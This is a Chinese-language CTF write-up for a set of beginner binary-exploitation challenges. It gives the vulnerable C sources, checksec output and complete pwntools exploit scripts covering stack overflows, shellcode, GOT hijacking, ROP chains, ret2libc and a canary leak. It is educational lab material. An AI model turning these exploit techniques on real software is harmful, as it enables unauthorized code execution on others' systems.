NTUSTISC Pwn Basic Writeup

NTUSTISC Pwn Basic Writeup

前言

Youtube: https://www.youtube.com/@ntustcsrc

Github: https://github.com/segnolin/pwn-basic-challenge

bof

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void y0u_c4n7_533_m3()
{
  execve("/bin/sh", (char *[]){0}, (char *[]){0});
}

int main()
{
  char buf[16];
  puts("This is your first bof challenge ;)");
  fflush(stdout);
  read(0, buf, 0x30);
  return 0;
}
1
2
3
4
5
6
7
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/bof/home/bof'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

最基本的 ret2text

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

p = process('./bof')

context.terminal = ['tmux', 'splitw', '-h']

ret_addr = 0x400607
payload = b'a' * 0x18 + p64(ret_addr)

# gdb.attach(p)
p.sendlineafter(b';)', payload)
p.interactive()

bof2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void y0u_c4n7_533_m3()
{
  int allow = 0;
  if (allow) {
    execve("/bin/sh", 0, 0);
  }
  else {
    puts("Oh no~~~!");
    exit(0);
  }
}

int main()
{
  char buf[16];
  puts("This is your second bof challenge ;)");
  fflush(stdout);
  read(0, buf, 0x30);
  if (strlen(buf) >= 16) {
    puts("Bye bye~~");
    exit(0);
  }
  return 0;
}
1
2
3
4
5
6
7
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/bof2/home/bof2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

这题也是 ret2text, 但因为 y0u_c4n7_533_m3 的 if 语句内是一个永远都是 false 的条件, 导致 ida 伪代码就不显示后面的 execve 的部分, 必须得看汇编

strlen 判断字符串长度遇到 0x00 停止, 因此栈溢出的时候可以先写一段 0x00 绕过长度限制, 后面直接 ret 到调用 execve 的部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

p = process('./bof2')
p.recvuntil(b';)')
# gdb.attach(p)

payload = b'\0' * 0x10 + b'aaaaaaaa' + p64(0x04006AC)
p.sendline(payload)
p.interactive()

ret2sc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char message[48];

int main()
{
  char name[16];
  printf("Give me your message: ");
  fflush(stdout);
  read(0, message, 0x30);
  printf("Give me your name: ");
  fflush(stdout);
  read(0, name, 0x30);
  return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/ret2sc/home/ret2sc'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

ret2shellcode, 往 bss 段的 message 数组内写入 shellcode, 然后 ret 到 bss 段地址

但是高版本内核 (我的环境是 Ubuntu 22.04) bss 段直接不可执行, 好像改也改不了, 必须得用低版本的内核才能利用?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'

p = process('./ret2sc')

p.recvuntil(b': ')
payload = asm(shellcraft.sh())
p.send(payload)

p.recvuntil(b': ')

# gdb.attach(p)
payload = b'a' * 0x18 + p64(0x601060)
p.send(payload)

p.interactive()

gothijack

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[64];

int main()
{
  int unsigned long long addr;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  printf("What's you name?\n");
  read(0, name, 0x40);
  printf("Where do you want to write?\n");
  scanf("%llu", &addr);
  printf("Data: ");
  read(0, (char *)addr, 8);
  puts("Done!");
  printf("Thank you %s!\n", name);
  return 0;
}
1
2
3
4
5
6
7
8
9
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/gothijack/home/gothijack'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

比较简单的 GOT 表劫持, 给了一个任意地址写, 将 GOT 表内 puts 的地址覆盖为 bss 段 name 的地址, 后续再次调用 puts 则会执行 shellcode

(同样是因为上面内核版本的问题执行不了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'

p = process('./gothijack')

p.recvuntil(b'name?\n')
payload = asm(shellcraft.sh())
p.send(payload)

# gdb.attach(p)

p.recvuntil(b'write?\n')
p.sendline(str(0x601018))

p.recvuntil(b'Data: ')
p.send(p64(0x601080))

p.interactive()

rop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
  char buf[16];
  puts("This is your first rop challenge ;)");
  fflush(stdout);
  read(0, buf, 0x90);
  return 0;
}
1
2
3
4
5
6
7
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/rop/home/rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

(实际上没有 Canary)

题目使用了静态链接, 思路是通过 ROP 调用 execve syscall

大致汇编如下, 需要遵循 x64 的调用约定

1
2
3
4
5
6
7
mov rdi, <.data or .bss address>
mov rsi, "/bin/sh\0"
mov qword ptr [rdi], rsi
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
syscall

ROP gadget 可以通过 ROPgadget --binary rop | grep 'xxx' 寻找

然后在 data 或者 bss 段上随便找一段空地址写入 /bin/sh 字符串, 我这里找的是 0x6b9296

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'

p = process('./rop')

pop_rdi_ret = 0x400686
pop_rsi_ret = 0x410093
mov_qword_ptr_rdi_rsi_ret = 0x446c1b
pop_rdx_ret = 0x44ba16
pop_rax_ret = 0x415294
syscall = 0x4011fc

payload = flat([
    b'A' * 24,
    pop_rdi_ret,
    0x6b9296,
    pop_rsi_ret,
    b'/bin/sh\0',
    mov_qword_ptr_rdi_rsi_ret,
    pop_rsi_ret,
    0x0,
    pop_rdx_ret,
    0x0,
    pop_rax_ret,
    0x3b,
    syscall
])

# gdb.attach(p)
p.sendafter(b';)\n', payload)
p.interactive()

ret2plt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[16];

int main()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[16];
  system("echo What is your name?");
  read(0, name, 0x10);
  puts("Say something: ");
  read(0, buf, 0x40);
  return 0;
}
1
2
3
4
5
6
7
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/rop/home/rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

ret2plt, 顾名思义覆盖返回地址为 PLT 地址, 例如 system 函数的 PLT (因为代码里调用过 system)

system 的参数来自 bss 段的 name (第一次 read 向 name 数组内写入了 /bin/sh)

注意在调用 system 函数的过程中栈需要 16 字节对齐, 否则会 crash, 具体可以看: https://blog.atom1c.icu/2024/08/01/stack-alignment/

解决办法就是随便用一个什么指令让 rsp 上升或者下降 8 字节 (pop/push), 这里我用的是 ret 指令 (pop rip)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'

p = process('./ret2plt')

p.sendafter(b'name?', b'/bin/sh\0')

pop_rdi_ret = 0x400733
bss_name = 0x601070
system_plt = 0x400520
ret = 0x4004fe

payload = flat([
    b'a' * 24,
    pop_rdi_ret,
    bss_name,
    ret,
    system_plt,
    b'aaaaaaaa'
])

# gdb.attach(p)
p.sendafter(b': ', payload)
p.interactive()

ret2libc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char addr[16];
  char buf[16];
  printf("You have one chance to read the memory!\n");
  printf("Give me the address in hex: ");
  read(0, addr, 0x10);
  unsigned long long iaddr = strtoll(addr, 0, 16);
  printf("\nContent: %lld\n", *(unsigned long long *)iaddr);
  printf("Give me your messege: ");
  read(0, buf, 0x90);
  return 0;
}
1
2
3
4
5
6
7
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/ret2plt/home/ret2plt'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   N

程序允许一次任意地址读, 可以用来泄露 puts 函数的物理地址, 进而计算出 libc 的基地址, 最后算出 system 函数的物理地址, 将其作为返回地址

1
puts 物理地址 - puts libc 偏移 = system 物理地址 - system libc 偏移 = libc 基地址

这里为了方便就用了系统自带的 libc 了, 实际上应该是先 patch 成附件给的 libc-2.27.so 然后再调试 (

同样注意栈需要 16 字节对齐

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'

p = process('./ret2libc')
e = ELF('./ret2libc')

puts_got = e.got['puts']
p.sendafter(b': ', hex(puts_got)[2:].encode())
p.recvuntil(b'Content: ')

puts_addr = int(p.recvuntil(b'\n')[:-1])
print('leak puts addr:', hex(puts_addr))

puts_offset = e.libc.symbols['puts']
libc_base_addr = puts_addr - puts_offset

system_addr = libc_base_addr + e.libc.symbols['system']
bin_sh_addr = libc_base_addr + next(e.libc.search(b'/bin/sh'))

print('leak libc base addr:', hex(libc_base_addr))
print('system addr:', hex(system_addr))
print('/bin/sh addr:', hex(bin_sh_addr))

pop_rdi_ret = 0x4007d3
ret = 0x40053e

payload = flat([
    b'a' * 0x38,
    pop_rdi_ret,
    bin_sh_addr,
    ret,
    system_addr
])

# gdb.attach(p)
p.sendafter(b': ', payload)
p.interactive()

sort

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int comp(const void *lhs, const void *rhs)
{
  long long f = *((long long *)lhs);
  long long s = *((long long *)rhs);
  if (f > s) return 1;
  if (f < s) return -1;
  return 0;
}

int main()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);

  char name[16];
  long long arr[10000];
  int size;
  puts("Welcome to the sorting service!");
  puts("Please enter array size (1~10000):");
  scanf("%d", &size);
  puts("Please enter the array:");
  for (int i = 0; i < size; ++i) {
    long long temp;
    scanf("%lld", &temp);
    if (temp >= 0) {
      arr[i] = temp;
    }
  }
  qsort(arr, size, sizeof(long long), comp);
  puts("Here is the result");
  for (int i = 0; i < size; ++i) {
    printf("%lld ", arr[i]);
  }
  puts("");
  puts("Please leave your name:");
  read(0, name, 0x90);
  puts("Thank you for using our service!");
}
1
2
3
4
5
6
7
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/sort/home/sort'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

花了大半天才把这道题做出来, 学到挺多东西的

同样是为了方便用了系统自带的 libc, 但正是因为这个点导致题目最终比预期要复杂一些 (

首先程序在遍历数组的时候存在越界读写, 因此可以读取或写入栈上相邻高地址的内容

其次程序存在栈溢出, 但存在 Canary 保护

最后程序的 text 段和 PLT 处没有相关的 syscall 或者 system 函数可用, 因此需要 ret2libc

很容易想到可以通过越界读泄露 Canary 的内容, 然后通过栈底 __libc_start_main 的物理地址 (main 函数的返回地址) 计算出 libc 的基地址, 最后跳转到 system 函数的物理地址实现 RCE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'

p = process('./sort')
e = ELF('./sort')

# 10004 canary
# 10005 rbp
# 10006 ret address
n = 10000 + 8

p.recvuntil(b':')
p.sendline(str(n).encode())

p.recvuntil(b':')

for i in range(10000):
    p.sendline("1".encode())

for i in range(n - 10000):
    p.sendline("-1".encode())

p.recvuntil(b'result\n')
sort = p.recvline().decode()

array = list(map(int, sort.strip().split(' ')))
array = list(filter(lambda x: x != 1 and x != 0, array))

canary = max(array, key=abs)
array.remove(canary)
print('leak canary:', hex(canary))

for i in array:
    print(hex(i))

_, libc_start_call_main_addr = array[0], array[1]
print('leak __libc_start_call_main addr:', hex(libc_start_call_main_addr))

libc_start_main_offset = e.libc.symbols['__libc_start_main']
libc_base_addr = libc_start_call_main_addr + 0xb0 - 128 - libc_start_main_offset
print('libc base addr:', hex(libc_base_addr))

system_addr = libc_base_addr + e.libc.symbols['system']
bin_sh_addr = libc_base_addr + next(e.libc.search(b'/bin/sh'))

pop_rdi_ret = libc_base_addr + 0x02a3e5
ret = libc_base_addr + 0x29139

print('system addr:', hex(system_addr))
print('/bin/sh addr:', hex(bin_sh_addr))

payload = flat([
    b'a' * 0x18,
    canary,
    b'bbbbbbbb',
    pop_rdi_ret,
    bin_sh_addr,
    ret,
    system_addr
])

# gdb.attach(p)

p.sendafter(b':', payload)
p.interactive()

上面有几个很麻烦的点

首先需要计算好越界读的范围, 在理想情况下 Canary 位于 [rbp - 0x8] 的位置, 不过这里我 gdb 调试了好几遍才确定需要多读 8 个元素

然后多读取的几个元素内, 包含了 Canary, <__libc_start_call_main+128> 和旧 rbp 的内容, 题目对数组进行了排序, 因此需要确定好各个元素之间的大小关系

Canary 绝对值最大 (转换成整数有可能为负), libc 函数的物理地址以 0x7fff 开头, 相比旧 rbp (调试了好几遍, 都是以 0x5555 开头) 更大

最后需要根据 __libc_start_call_main 计算出 libc 的基地址, 但这个地方有很大一个坑

本来想通过 pwntools 直接通过 e.libc.symbols 查找拿到 __libc_start_call_main 的偏移地址, 但是发现并没有这个元素

问了下舍友 unauth401 才发现: libc 2.35 后 __libc_start_main 里面套了一层 __libc_start_call_main, 但是符号表里面只有 __libc_start_main, 导致无法直接拿到这个东西的偏移地址 (因为我用了 Ubuntu 22.04 自带的高版本 libc)

两种解决办法: 利用越界读再多读几个元素, 拿到调用栈底部 __libc_start_main 的物理地址, 或者利用 libc 函数之间偏移固定的特性, 计算出 __libc_start_main 的偏移地址

我比较懒所以就选了第二个方法, gdb 调试一遍计算得知两者之间的偏移为 0xb0, 然后计算 libc 基地址 (注意还要减去上面的 128)

1
libc_base_addr = libc_start_call_main_addr + 0xb0 - 128 - libc_start_main_offset

后续就是 ROP 调用 system, 或者拼一个 syscall 也行

0%